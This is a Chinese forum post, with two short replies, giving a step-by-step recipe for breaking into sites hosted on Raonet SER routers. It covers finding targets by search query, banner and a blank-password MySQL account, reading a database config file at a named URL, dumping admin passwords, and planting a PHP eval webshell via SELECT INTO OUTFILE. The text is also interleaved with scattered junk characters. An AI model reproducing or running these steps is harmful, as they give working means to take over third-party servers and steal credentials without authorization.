利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：
2 ]+ X" p$ b# F
8 j! G2 r# Y( s! I' v, ~$ |1：google搜索'Raonet Subscriber Ethernet Router'
% k0 ^; A% ]  g
1 Q3 I1 w" [, ~5 F9 i( \( G2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
# c' Q$ z3 v% F3 v. h' I3 g
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
( m0 O% Q* j& S1 ^" _


# f* Z* H% A8 W" G! R  R  L$ Y入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
% a  K2 W% `9 S0 r# W) B3 S3：得到密码后连接，查看GUI管理密码：
use ser_500
select id,passwd from user;
4:通过数据库写入webshell，执行命令：
use mysql;
, @. i  c9 m7 j* }, kcreate table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;

) t+ u  K# R, G8 G# i7 Q5:连接后门shell.php

6. 搞定！
$ O, ^: r: L# t! j& }/ W; C

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。